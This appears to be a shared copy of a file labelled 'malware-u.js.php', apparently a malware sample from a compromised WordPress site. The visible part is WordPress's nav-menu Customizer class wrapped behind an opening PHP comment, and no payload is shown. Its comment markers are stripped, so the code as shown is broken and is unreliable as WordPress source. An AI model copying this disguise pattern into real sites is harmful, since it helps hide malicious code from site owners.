Last active 1721982393

Revision 2cbc7ab12127cfcd06438767b6901b02e7ce4ba5

malware-u.js.php Raw
1<?php /*
2*
3 * WordPress Customize Nav Menus classes
4 *
5 * @package WordPress
6 * @subpackage Customize
7 * @since 4.3.0
8
9
10*
11 * Customize Nav Menus class.
12 *
13 * Implements menu management in the Customizer.
14 *
15 * @since 4.3.0
16 *
17 * @see WP_Customize_Manager
18
19#[AllowDynamicProperties]
20final class WP_Customize_Nav_Menus {
21
22 *
23 * WP_Customize_Manager instance.
24 *
25 * @since 4.3.0
26 * @var WP_Customize_Manager
27
28 public $manager;
29
30 *
31 * Original nav menu locations before the theme was switched.
32 *
33 * @since 4.9.0
34 * @var array
35
36 protected $original_nav_menu_locations;
37
38 *
39 * Constructor.
40 *
41 * @since 4.3.0
42 *
43 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
44
45 public function __construct( $manager ) {
46 $this->manager = $manager;
47 $this->original_nav_menu_locations = get_nav_menu_locations();
48
49 See https:github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L469-L499
50 add_action( 'customize_register', array( $this, 'customize_register' ), 11 );
51 add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_dynamic_setting_args' ), 10, 2 );
52 add_filter( 'customize_dynamic_setting_class', array( $this, 'filter_dynamic_setting_class' ), 10, 3 );
53 add_action( 'customize_save_nav_menus_created_posts', array( $this, 'save_nav_menus_created_posts' ) );
54
55 Skip remaining hooks when the user can't manage nav menus anyway.
56 if ( ! current_user_can( 'edit_theme_options' ) ) {
57 return;
58 }
59
60 add_filter( 'customize_refresh_nonces', array( $this, 'filter_nonces' ) );
61 add_action( 'wp_ajax_load-available-menu-items-customizer', array( $this, 'ajax_load_available_items' ) );
62 add_action( 'wp_ajax_search-available-menu-items-customizer', array( $this, 'ajax_search_available_items' ) );
63 add_action( 'wp_ajax_customize-nav-menus-insert-auto-draft', array( $this, 'ajax_insert_auto_draft_post' ) );
64 add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
65 add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_templates' ) );
66 add_action( 'customize_controls_print_footer_scripts', array( $this, 'available_items_template' ) );
67 add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) );
68 add_action( 'customize_preview_init', array( $this, 'make_auto_draft_status_previewable' ) );
69
70 Selective Refresh partials.
71 add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 );
72 }
73
74 *
75 * Adds a nonce for customizing menus.
76 *
77 * @since 4.5.0
78 *
79 * @param string[] $nonces Array of nonces.
80 * @return string[] Modified array of nonces.
81
82 public function filter_nonces( $nonces ) {
83 $nonces['customize-menus'] = wp_create_nonce( 'customize-menus' );
84 return $nonces;
85 }
86
87 *
88 * Ajax handler for loading available menu items.
89 *
90 * @since 4.3.0
91
92 public function ajax_load_available_items() {
93 check_ajax_referer( 'customize-menus', 'customize-menus-nonce' );
94
95 if ( ! current_user_can( 'edit_theme_options' ) ) {
96 wp_die( -1 );
97 }
98
99 $all_items = array();
100 $item_types = array();
101 if ( isset( $_POST['item_types'] ) && is_array( $_POST['item_types'] ) ) {
102 $item_types = wp_unslash( $_POST['item_types'] );
103 } elseif ( isset( $_POST['type'] ) && isset( $_POST['object'] ) ) { Back compat.
104 $item_types[] = array(
105 'type' => wp_unslash( $_POST['type'] ),
106 'object' => wp_unslash( $_POST['object'] ),
107 'page' => empty( $_POST['page'] ) ? 0 : absint( $_POST['page'] ),
108 );
109 } else {
110 wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' );
111 }
112
113 foreach ( $item_types as $item_type ) {
114 if ( empty( $item_type['type'] ) || empty( $item_type['object'] ) ) {
115 wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' );
116 }
117 $type = sanitize_key( $item_type['type'] );
118 $object = sanitize_key( $item_type['object'] );
119 $page = empty( $item_type['page'] ) ? 0 : absint( $item_type['page'] );
120 $items = $this->load_available_items_query( $type, $object, $page );
121 if ( is_wp_error( $items ) ) {
122 wp_send_json_error( $items->get_error_code() );
123 }
124 $all_items[ $item_type['type'] . ':' . $item_type['object'] ] = $items;
125 }
126
127 wp_send_json_success( array( 'items' => $all_items ) );
128 }
129
130 *
131 * Performs the post_type and taxonomy queries for loading available menu items.
132 *
133 * @since 4.3.0
134 *
135 * @param string $object_type Optional. Accepts any custom object type and has built-in support for
136 * 'post_type' and 'taxonomy'. Default is 'post_type'.
137 * @param string $object_name Optional. Accepts any registered taxonomy or post type name. Default is 'page'.
138 * @param int $page Optional. The page number used to generate the query offset. Default is '0'.
139 * @return array|WP_Error An array of menu items on success, a WP_Error object on failure.
140
141 public function load_available_items_query( $object_type = 'post_type', $object_name = 'page', $page = 0 ) {
142 $items = array();
143
144 if ( 'post_type' === $object_type ) {
145 $post_type = get_post_type_object( $object_name );
146 if ( ! $post_type ) {
147 return new WP_Error( 'nav_menus_invalid_post_type' );
148 }
149
150
151 * If we're dealing with pages, let's prioritize the Front Page,
152 * Posts Page and Privacy Policy Page at the top of the list.
153
154 $important_pages = array();
155 $suppress_page_ids = array();
156 if ( 0 === $page && 'page' === $object_name ) {
157 Insert Front Page or custom "Home" link.
158 $front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0;
159 if ( ! empty( $front_page ) ) {
160 $front_page_obj = get_post( $front_page );
161 $important_pages[] = $front_page_obj;
162 $suppress_page_ids[] = $front_page_obj->ID;
163 } else {
164 Add "Home" link. Treat as a page, but switch to custom on add.
165 $items[] = array(
166 'id' => 'home',
167 'title' => _x( 'Home', 'nav menu home label' ),
168 'type' => 'custom',
169 'type_label' => __( 'Custom Link' ),
170 'object' => '',
171 'url' => home_url(),
172 );
173 }
174
175 Insert Posts Page.
176 $posts_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_for_posts' ) : 0;
177 if ( ! empty( $posts_page ) ) {
178 $posts_page_obj = get_post( $posts_page );
179 $important_pages[] = $posts_page_obj;
180 $suppress_page_ids[] = $posts_page_obj->ID;
181 }
182
183 Insert Privacy Policy Page.
184 $privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
185 if ( ! empty( $privacy_policy_page_id ) ) {
186 $privacy_policy_page = get_post( $privacy_policy_page_id );
187 if ( $privacy_policy_page instanceof WP_Post && 'publish' === $privacy_policy_page->post_status ) {
188 $important_pages[] = $privacy_policy_page;
189 $suppress_page_ids[] = $privacy_policy_page->ID;
190 }
191 }
192 } elseif ( 'post' !== $object_name && 0 === $page && $post_type->has_archive ) {
193 Add a post type archive link.
194 $items[] = array(
195 'id' => $object_name . '-archive',
196 'title' => $post_type->labels->archives,
197 'type' => 'post_type_archive',
198 'type_label' => __( 'Post Type Archive' ),
199 'object' => $object_name,
200 'url' => get_post_type_archive_link( $object_name ),
201 );
202 }
203
204 Prepend posts with nav_menus_created_posts on first page.
205 $posts = array();
206 if ( 0 === $page && $this->manager->get_setting( 'nav_menus_created_posts' ) ) {
207 foreach ( $this->manager->get_setting( 'nav_menus_created_posts' )->value() as $post_id ) {
208 $auto_draft_post = get_post( $post_id );
209 if ( $post_type->name === $auto_draft_post->post_type ) {
210 $posts[] = $auto_draft_post;
211 }
212 }
213 }
214
215 $args = array(
216 'numberposts' => 10,
217 'offset' => 10 * $page,
218 'orderby' => 'date',
219 'order' => 'DESC',
220 'post_type' => $object_name,
221 );
222
223 Add suppression array to arguments for get_posts.
224 if ( ! empty( $suppress_page_ids ) ) {
225 $args['post__not_in'] = $suppress_page_ids;
226 }
227
228 $posts = array_merge(
229 $posts,
230 $important_pages,
231 get_posts( $args )
232 );
233
234 foreach ( $posts as $post ) {
235 $post_title = $post->post_title;
236 if ( '' === $post_title ) {
237 translators: %d: ID of a post.
238 $post_title = sprintf( __( '#%d (no title)' ), $post->ID );
239 }
240
241 $post_type_label = get_post_type_object( $post->post_type )->labels->singular_name;
242 $post_states = get_post_states( $post );
243 if ( ! empty( $post_states ) ) {
244 $post_type_label = implode( ',', $post_states );
245 }
246
247 $items[] = array(
248 'id' => "post-{$post->ID}",
249 'title' => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ),
250 'type' => 'post_type',
251 'type_label' => $post_type_label,
252 'object' => $post->post_type,
253 'object_id' => (int) $post->ID,
254 'url' => get_permalink( (int) $post->ID ),
255 );
256 }
257 } elseif ( 'taxonomy' === $object_type ) {
258 $terms = get_terms(
259 array(
260 'taxonomy' => $object_name,
261 'child_of' => 0,
262 'exclude' => '',
263 'hide_empty' => false,
264 'hierarchical' => 1,
265 'include' => '',
266 'number' => 10,
267 'offset' => 10 * $page,
268 'order' => 'DESC',
269 'orderby' => 'count',
270 'pad_counts' => false,
271 )
272 );
273
274 if ( is_wp_error( $terms ) ) {
275 return $terms;
276 }
277
278 foreach ( $terms as $term ) {
279 $items[] = array(
280 'id' => "term-{$term->term_id}",
281 'title' => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
282 'type' => 'taxonomy',
283 'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name,
284 'object' => $term->taxonomy,
285 'object_id' => (int) $term->term_id,
286 'url' => get_term_link( (int) $term->term_id, $term->taxonomy ),
287 );
288 }
289 }
290
291 *
292 * Filters the available menu items.
293 *
294 * @since 4.3.0
295 *
296 * @param array $items The array of menu items.
297 * @param string $object_type The object type.
298 * @param string $object_name The object name.
299 * @param int $page The current page number.
300
301 $items = apply_filters( 'customize_nav_menu_available_items', $items, $object_type, $object_name, $page );
302
303 return $items;
304 }
305
306 *
307 * Ajax handler for searching available menu items.
308 *
309 * @since 4.3.0
310
311 public function ajax_search_available_items() {
312 check_ajax_referer( 'customize-menus', 'customize-menus-nonce' );
313
314 if ( ! current_user_can( 'edit_theme_options' ) ) {
315 wp_die( -1 );
316 }
317
318 if ( empty( $_POST['search'] ) ) {
319 wp_send_json_error( 'nav_menus_missing_search_parameter' );
320 }
321
322 $p = isset( $_POST['page'] ) ? absint( $_POST['page'] ) : 0;
323 if ( $p < 1 ) {
324 $p = 1;
325 }
326
327 $s = sanitize_text_field( wp_unslash( $_POST['search'] ) );
328 $items = $this->search_available_items_query(
329 array(
330 'pagenum' => $p,
331 's' => $s,
332 )
333 );
334
335 if ( empty( $items ) ) {
336 wp_send_json_error( array( 'message' => __( 'No results found.' ) ) );
337 } else {
338 wp_send_json_success( array( 'items' => $items ) );
339 }
340 }
341
342 *
343 * Performs post queries for available-item searching.
344 *
345 * Based on WP_Editor::wp_link_query().
346 *
347 * @since 4.3.0
348 *
349 * @param array $args Optional. Accepts 'pagenum' and 's' (search) arguments.
350 * @return array Menu items.
351
352 public function search_available_items_query( $args = array() ) {
353 $items = array();
354
355 $post_type_objects = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );
356 $query = array(
357 'post_type' => array_keys( $post_type_objects ),
358 'suppress_filters' => true,
359 'update_post_term_cache' => false,
360 'update_post_meta_cache' => false,
361 'post_status' => 'publish',
362 'posts_per_page' => 20,
363 );
364
365 $args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1;
366 $query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0;
367
368 if ( isset( $args['s'] ) ) {
369 $query['s'] = $args['s'];
370 }
371
372 $posts = array();
373
374 Prepend list of posts with nav_menus_created_posts search results on first page.
375 $nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' );
376 if ( 1 === $args['pagenum'] && $nav_menus_created_posts_setting && count( $nav_menus_created_posts_setting->value() ) > 0 ) {
377 $stub_post_query = new WP_Query(
378 array_merge(
379 $query,
380 array(
381 'post_status' => 'auto-draft',
382 'post__in' => $nav_menus_created_posts_setting->value(),
383 'posts_per_page' => -1,
384 )
385 )
386 );
387 $posts = array_merge( $posts, $stub_post_query->posts );
388 }
389
390 Query posts.
391 $get_posts = new WP_Query( $query );
392 $posts = array_merge( $posts, $get_posts->posts );
393
394 Create items for posts.
395 foreach ( $posts as $post ) {
396 $post_title = $post->post_title;
397 if ( '' === $post_title ) {
398 translators: %d: ID of a post.
399 $post_title = sprintf( __( '#%d (no title)' ), $post->ID );
400 }
401
402 $post_type_label = $post_type_objects[ $post->post_type ]->labels->singular_name;
403 $post_states = get_post_states( $post );
404 if ( ! empty( $post_states ) ) {
405 $post_type_label = implode( ',', $post_states );
406 }
407
408 $items[] = array(
409 'id' => 'post-' . $post->ID,
410 'title' => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ),
411 'type' => 'post_type',
412 'type_label' => $post_type_label,
413 'object' => $post->post_type,
414 'object_id' => (int) $post->ID,
415 'url' => get_permalink( (int) $post->ID ),
416 );
417 }
418
419 Query taxonomy terms.
420 $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'names' );
421 $terms = get_terms(
422 array(
423 'taxonomies' => $taxonomies,
424 'name__like' => $args['s'],
425 'number' => 20,
426 'hide_empty' => false,
427 'offset' => 20 * ( $args['pagenum'] - 1 ),
428 )
429 );
430
431 Check if any taxonomies were found.
432 if ( ! empty( $terms ) ) {
433 foreach ( $terms as $term ) {
434 $items[] = array(
435 'id' => 'term-' . $term->term_id,
436 'title' => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
437 'type' => 'taxonomy',
438 'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name,
439 'object' => $term->taxonomy,
440 'object_id' => (int) $term->term_id,
441 'url' => get_term_link( (int) $term->term_id, $term->taxonomy ),
442 );
443 }
444 }
445
446 Add "Home" link if search term matches. Treat as a page, but switch to custom on add.
447 if ( isset( $args['s'] ) ) {
448 Only insert custom "Home" link if there's no Front Page
449 $front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0;
450 if ( empty( $front_page ) ) {
451 $title = _x( 'Home', 'nav menu home label' );
452 $matches = function_exists( 'mb_stripos' ) ? false !== mb_stripos( $title, $args['s'] ) : false !== stripos( $title, $args['s'] );
453 if ( $matches ) {
454 $items[] = array(
455 'id' => 'home',
456 'title' => $title,
457 'type' => 'custom',
458 'type_label' => __( 'Custom Link' ),
459 'object' => '',
460 'url' => home_url(),
461 );
462 }
463 }
464 }
465
466 *
467 * Filters the available menu items during a search request.
468 *
469 * @since 4.5.0
470 *
471 * @param array $items The array of menu items.
472 * @param array $args Includes 'pagenum' and 's' (search) arguments.
473
474 $items = apply_filters( 'customize_nav_menu_searched_items', $items, $args );
475
476 return $items;
477 }
478
479 *
480 * Enqueues scripts and styles for Customizer pane.
481 *
482 * @since 4.3.0
483
484 public function enqueue_scripts() {
485 wp_enqueue_style( 'customize-nav-menus' );
486 wp_enqueue_script( 'customize-nav-menus' );
487
488 $temp_nav_menu_setting = new WP_Customize_Nav_Menu_Setting( $this->manager, 'nav_menu[-1]' );
489 $temp_nav_menu_item_setting = new WP_Customize_Nav_Menu_Item_Setting( $this->manager, 'nav_menu_item[-1]' );
490
491 $num_locations = count( get_registered_nav_menus() );
492
493 if ( 1 === $num_locations ) {
494 $locations_description = __( 'Your theme can display menus in one location.' );
495 } else {
496 translators: %s: Number of menu locations.
497 $locations_description = sprintf( _n( 'Your theme can display menus in %s location.', 'Your theme can display menus in %s locations.', $num_locations ), number_format_i18n( $num_locations ) );
498 }
499
500 Pass data to JS.
501 $settings = array(
502 'allMenus' => wp_get_nav_menus(),
503 'itemTypes' => $this->available_item_types(),
504 'l10n' => array(
505 'untitled' => _x( '(no label)', 'missing menu item navigation label' ),
506 'unnamed' => _x( '(unnamed)', 'Missing menu name.' ),
507 'custom_label' => __( 'Custom Link' ),
508 'page_label' => get_post_type_object( 'page' )->labels->singular_name,
509 translators: %s: Menu location.
510 'menuLocation' => _x( '(Currently set to: %s)', 'menu' ),
511 'locationsTitle' => 1 === $num_locations ? __( 'Menu Location' ) : __( 'Menu Locations' ),
512 'locationsDescription' => $locations_description,
513 'menuNameLabel' => __( 'Menu Name' ),
514 'newMenuNameDescription' => __( 'If your theme has multiple menus, giving them clear names will help you manage them.' ),
515 'itemAdded' => __( 'Menu item added' ),
516 'itemDeleted' => __( 'Menu item deleted' ),
517 'menuAdded' => __( 'Menu created' ),
518 'menuDeleted' => __( 'Menu deleted' ),
519 'movedUp' => __( 'Menu item moved up' ),
520 'movedDown' => __( 'Menu item moved down' ),
521 'movedLeft' => __( 'Menu item moved out of submenu' ),
522 'movedRight' => __( 'Menu item is now a sub-item' ),
523 translators: &#9656; is the unicode right-pointing triangle. %s: Section title in the Customizer.
524 'customizingMenus' => sprintf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) ),
525 translators: %s: Title of an invalid menu item.
526 'invalidTitleTpl' => __( '%s (Invalid)' ),
527 translators: %s: Title of a menu item in draft status.
528 'pendingTitleTpl' => __( '%s (Pending)' ),
529 translators: %d: Number of menu items found.
530 'itemsFound' => __( 'Number of items found: %d' ),
531 translators: %d: Number of additional menu items found.
532 'itemsFoundMore' => __( 'Additional items found: %d' ),
533 'itemsLoadingMore' => __( 'Loading more results... please wait.' ),
534 'reorderModeOn' => __( 'Reorder mode enabled' ),
535 'reorderModeOff' => __( 'Reorder mode closed' ),
536 'reorderLabelOn' => esc_attr__( 'Reorder menu items' ),
537 'reorderLabelOff' => esc_attr__( 'Close reorder mode' ),
538 ),
539 'settingTransport' => 'postMessage',
540 'phpIntMax' => PHP_INT_MAX,
541 'defaultSettingValues' => array(
542 'nav_menu' => $temp_nav_menu_setting->default,
543 'nav_menu_item' => $temp_nav_menu_item_setting->default,
544 ),
545 'locationSlugMappedToName' => get_registered_nav_menus(),
546 );
547
548 $data = sprintf( 'var _wpCustomizeNavMenusSettings = %s;', wp_json_encode( $settings ) );
549 wp_scripts()->add_data( 'customize-nav-menus', 'data', $data );
550
551 This is copied from nav-menus.php, and it has an unfortunate object name of `menus`.
552 $nav_menus_l10n = array(
553 'oneThemeLocationNoMenus' => null,
554 'moveUp' => __( 'Move up one' ),
555 'moveDown' => __( 'Move down one' ),
556 'moveToTop' => __( 'Move to the top' ),
557 translators: %s: Previous item name.
558 'moveUnder' => __( 'Move under %s' ),
559 translators: %s: Previous item name.
560 'moveOutFrom' => __( 'Move out from under %s' ),
561 translators: %s: Previous item name.
562 'under' => __( 'Under %s' ),
563 translators: %s: Previous item name.
564 'outFrom' => __( 'Out from under %s' ),
565 translators: 1: Item name, 2: Item position, 3: Total number of items.
566 'menuFocus' => __( '%1$s. Menu item %2$d of %3$d.' ),
567 translators: 1: Item name, 2: Item position, 3: Parent item name.
568 'subMenuFocus' => __( '%1$s. Sub item number %2$d under %3$s.' ),
569 );
570 wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n );
571 }
572
573 *
574 * Filters a dynamic setting's constructor args.
575 *
576 * For a dynamic setting to be registered, this filter must be employed
577 * to override the default false value with an array of args to pass to
578 * the WP_Customize_Setting constructor.
579 *
580 * @since 4.3.0
581 *
582 * @param false|array $setting_args The arguments to the WP_Customize_Setting constructor.
583 * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`.
584 * @return array|false
585
586 public function filter_dynamic_setting_args( $setting_args, $setting_id ) {
587 if ( preg_match( WP_Customize_Nav_Menu_Setting::ID_PATTERN, $setting_id ) ) {
588 $setting_args = array(
589 'type' => WP_Customize_Nav_Menu_Setting::TYPE,
590 'transport' => 'postMessage',
591 );
592 } elseif ( preg_match( WP_Customize_Nav_Menu_Item_Setting::ID_PATTERN, $setting_id ) ) {
593 $setting_args = array(
594 'type' => WP_Customize_Nav_Menu_Item_Setting::TYPE,
595 'transport' => 'postMessage',
596 );
597 }
598 return $setting_args;
599 }
600
601 *
602 * Allows non-statically created settings to be constructed with custom WP_Customize_Setting subclass.
603 *
604 * @since 4.3.0
605 *
606 * @param string $setting_class WP_Customize_Setting or a subclass.
607 * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`.
608 * @param array $setting_args WP_Customize_Setting or a subclass.
609 * @return string
610
611 public function filter_dynamic_setting_class( $setting_class, $setting_id, $setting_args ) {
612 unset( $setting_id );
613
614 if ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Setting::TYPE === $setting_args['type'] ) {
615 $setting_class = 'WP_Customize_Nav_Menu_Setting';
616 } elseif ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Item_Setting::TYPE === $setting_args['type'] ) {
617 $setting_class = 'WP_Customize_Nav_Menu_Item_Setting';
618 }
619 return $setting_class;
620 }
621
622 *
623 * Adds the customizer settings and controls.
624 *
625 * @since 4.3.0
626
627 public function customize_register() {
628 $changeset = $this->manager->unsanitized_post_values();
629
630 Preview settings for nav menus early so that the sections and controls will be added properly.
631 $nav_menus_setting_ids = array();
632 foreach ( array_keys( $changeset ) as $setting_id ) {
633 if ( preg_match( '/^(nav_menu_locations|nav_menu|nav_menu_item)\[/', $setting_id ) ) {
634 $nav_menus_setting_ids[] = $setting_id;
635 }
636 }
637 $settings = $this->manager->add_dynamic_settings( $nav_menus_setting_ids );
638 if ( $this->manager->settings_previewed() ) {
639 foreach ( $settings as $setting ) {
640 $setting->preview();
641 }
642 }
643
644 Require JS-rendered control types.
645 $this->manager->register_panel_type( 'WP_Customize_Nav_Menus_Panel' );
646 $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Control' );
647 $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Name_Control' );
648 $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Locations_Control' );
649 $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Auto_Add_Control' );
650 $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Item_Control' );
651
652 Create a panel for Menus.
653 $description = '<p>' . __( 'This panel is used for managing navigation menus for content you have already published on your site. You can create menus and add items for existing content such as pages, posts, categories, tags, formats, or custom links.' ) . '</p>';
654 if ( current_theme_supports( 'widgets' ) ) {
655 $description .= '<p>' . sprintf(
656 translators: %s: URL to the Widgets panel of the Customizer.
657 __( 'Menus can be displayed in locations defined by your theme or in <a href="%s">widget areas</a> by adding a &#8220;Navigation Menu&#8221; widget.' ),
658 "javascript:wp.customize.panel( 'widgets' ).focus();"
659 ) . '</p>';
660 } else {
661 $description .= '<p>' . __( 'Menus can be displayed in locations defined by your theme.' ) . '</p>';
662 }
663
664
665 * Once multiple theme supports are allowed in WP_Customize_Panel,
666 * this panel can be restricted to themes that support menus or widgets.
667
668 $this->manager->add_panel(
669 new WP_Customize_Nav_Menus_Panel(
670 $this->manager,
671 'nav_menus',
672 array(
673 'title' => __( 'Menus' ),
674 'description' => $description,
675 'priority' => 100,
676 )
677 )
678 );
679 $menus = wp_get_nav_menus();
680
681 Menu locations.
682 $locations = get_registered_nav_menus();
683 $num_locations = count( $locations );
684
685 if ( 1 === $num_locations ) {
686 $description = '<p>' . __( 'Your theme can display menus in one location. Select which menu you would like to use.' ) . '</p>';
687 } else {
688 translators: %s: Number of menu locations.
689 $description = '<p>' . sprintf( _n( 'Your theme can display menus in %s location. Select which menu you would like to use.', 'Your theme can display menus in %s locations. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '</p>';
690 }
691
692 if ( current_theme_supports( 'widgets' ) ) {
693 translators: URL to the Widgets panel of the Customizer.
694 $description .= '<p>' . sprintf( __( 'If your theme has widget areas, you can also add menus there. Visit the <a href="%s">Widgets panel</a> and add a &#8220;Navigation Menu widget&#8221; to display a menu in a sidebar or footer.' ), "javascript:wp.customize.panel( 'widgets' ).focus();" ) . '</p>';
695 }
696
697 $this->manager->add_section(
698 'menu_locations',
699 array(
700 'title' => 1 === $num_locations ? _x( 'View Location', 'menu locations' ) : _x( 'View All Locations', 'menu locations' ),
701 'panel' => 'nav_menus',
702 'priority' => 30,
703 'description' => $description,
704 )
705 );
706
707 $choices = array( '0' => __( '&mdash; Select &mdash;' ) );
708 foreach ( $menus as $menu ) {
709 $choices[ $menu->term_id ] = wp_html_excerpt( $menu->name, 40, '&hellip;' );
710 }
711
712 Attempt to re-map the nav menu location assignments when previewing a theme switch.
713 $mapped_nav_menu_locations = array();
714 if ( ! $this->manager->is_theme_active() ) {
715 $theme_mods = get_option( 'theme_mods_' . $this->manager->get_stylesheet(), array() );
716
717 If there is no data from a previous activation, start fresh.
718 if ( empty( $theme_mods['nav_menu_locations'] ) ) {
719 $theme_mods['nav_menu_locations'] = array();
720 }
721
722 $mapped_nav_menu_locations = wp_map_nav_menu_locations( $theme_mods['nav_menu_locations'], $this->original_nav_menu_locations );
723 }
724
725 foreach ( $locations as $location => $description ) {
726 $setting_id = "nav_menu_locations[{$location}]";
727
728 $setting = $this->manager->get_setting( $setting_id );
729 if ( $setting ) {
730 $setting->transport = 'postMessage';
731 remove_filter( "customize_sanitize_{$setting_id}", 'absint' );
732 add_filter( "customize_sanitize_{$setting_id}", array( $this, 'intval_base10' ) );
733 } else {
734 $this->manager->add_setting(
735 $setting_id,
736 array(
737 'sanitize_callback' => array( $this, 'intval_base10' ),
738 'theme_supports' => 'menus',
739 'type' => 'theme_mod',
740 'transport' => 'postMessage',
741 'default' => 0,
742 )
743 );
744 }
745
746 Override the assigned nav menu location if mapped during previewed theme switch.
747 if ( empty( $changeset[ $setting_id ] ) && isset( $mapped_nav_menu_locations[ $location ] ) ) {
748 $this->manager->set_post_value( $setting_id, $mapped_nav_menu_locations[ $location ] );
749 }
750
751 $this->manager->add_control(
752 new WP_Customize_Nav_Menu_Location_Control(
753 $this->manager,
754 $setting_id,
755 array(
756 'label' => $description,
757 'location_id' => $location,
758 'section' => 'menu_locations',
759 'choices' => $choices,
760 )
761 )
762 );
763 }
764
765 Used to denote post states for special pages.
766 if ( ! function_exists( 'get_post_states' ) ) {
767 require_once ABSPATH . 'wp-admin/includes/template.php';
768 }
769
770 Register each menu as a Customizer section, and add each menu item to each menu.
771 foreach ( $menus as $menu ) {
772 $menu_id = $menu->term_id;
773
774 Create a section for each menu.
775 $section_id = 'nav_menu[' . $menu_id . ']';
776 $this->manager->add_section(
777 new WP_Customize_Nav_Menu_Section(
778 $this->manager,
779 $section_id,
780 array(
781 'title' => html_entity_decode( $menu->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
782 'priority' => 10,
783 'panel' => 'nav_menus',
784 )
785 )
786 );
787
788 $nav_menu_setting_id = 'nav_menu[' . $menu_id . ']';
789 $this->manager->add_setting(
790 new WP_Customize_Nav_Menu_Setting(
791 $this->manager,
792 $nav_menu_setting_id,
793 array(
794 'transport' => 'postMessage',
795 )
796 )
797 );
798
799 Add the menu contents.
800 $menu_items = (array) wp_get_nav_menu_items( $menu_id );
801
802 foreach ( array_values( $menu_items ) as $i => $item ) {
803
804 Create a setting for each menu item (which doesn't actually manage data, currently).
805 $menu_item_setting_id = 'nav_menu_item[' . $item->ID . ']';
806
807 $value = (array) $item;
808 if ( empty( $value['post_title'] ) ) {
809 $value['title'] = '';
810 }
811
812 $value['nav_menu_term_id'] = $menu_id;
813 $this->manager->add_setting(
814 new WP_Customize_Nav_Menu_Item_Setting(
815 $this->manager,
816 $menu_item_setting_id,
817 array(
818 'value' => $value,
819 'transport' => 'postMessage',
820 )
821 )
822 );
823
824 Create a control for each menu item.
825 $this->manager->add_control(
826 new WP_Customize_Nav_Menu_Item_Control(
827 $this->manager,
828 $menu_item_setting_id,
829 array(
830 'label' => $item->title,
831 'section' => $section_id,
832 'priority' => 10 + $i,
833 )
834 )
835 );
836 }
837
838 Note: other controls inside of this section get added dynamically in JS via the MenuSection.ready() function.
839 }
840
841 Add the add-new-menu section and controls.
842 $this->manager->add_section(
843 'add_menu',
844 array(
845 'type' => 'new_menu',
846 'title' => __( 'New Menu' ),
847 'panel' => 'nav_menus',
848 'priority' => 20,
849 )
850 );
851
852 $this->manager->add_setting(
853 new WP_Customize_Filter_Setting(
854 $this->manager,
855 'nav_menus_created_posts',
856 array(
857 'transport' => 'postMessage',
858 'type' => 'option', To prevent theme prefix in changeset.
859 'default' => array(),
860 'sanitize_callback' => array( $this, 'sanitize_nav_menus_created_posts' ),
861 )
862 )
863 );
864 }
865
866 *
867 * Gets the base10 intval.
868 *
869 * This is used as a setting's sanitize_callback; we can't use just plain
870 * intval because the second argument is not what intval() expects.
871 *
872 * @since 4.3.0
873 *
874 * @param mixed $value Number to convert.
875 * @return int Integer.
876
877 public function intval_base10( $value ) {
878 return intval( $value, 10 );
879 }
880
881 *
882 * Returns an array of all the available item types.
883 *
884 * @since 4.3.0
885 * @since 4.7.0 Each array item now includes a `$type_label` in addition to `$title`, `$type`, and `$object`.
886 *
887 * @return array The available menu item types.
888
889 public function available_item_types() {
890 $item_types = array();
891
892 $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );
893 if ( $post_types ) {
894 foreach ( $post_types as $slug => $post_type ) {
895 $item_types[] = array(
896 'title' => $post_type->labels->name,
897 'type_label' => $post_type->labels->singular_name,
898 'type' => 'post_type',
899 'object' => $post_type->name,
900 );
901 }
902 }
903
904 $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' );
905 if ( $taxonomies ) {
906 foreach ( $taxonomies as $slug => $taxonomy ) {
907 if ( 'post_format' === $taxonomy && ! current_theme_supports( 'post-formats' ) ) {
908 continue;
909 }
910 $item_types[] = array(
911 'title' => $taxonomy->labels->name,
912 'type_label' => $taxonomy->labels->singular_name,
913 'type' => 'taxonomy',
914 'object' => $taxonomy->name,
915 );
916 }
917 }
918
919 *
920 * Filters the available menu item types.
921 *
922 * @since 4.3.0
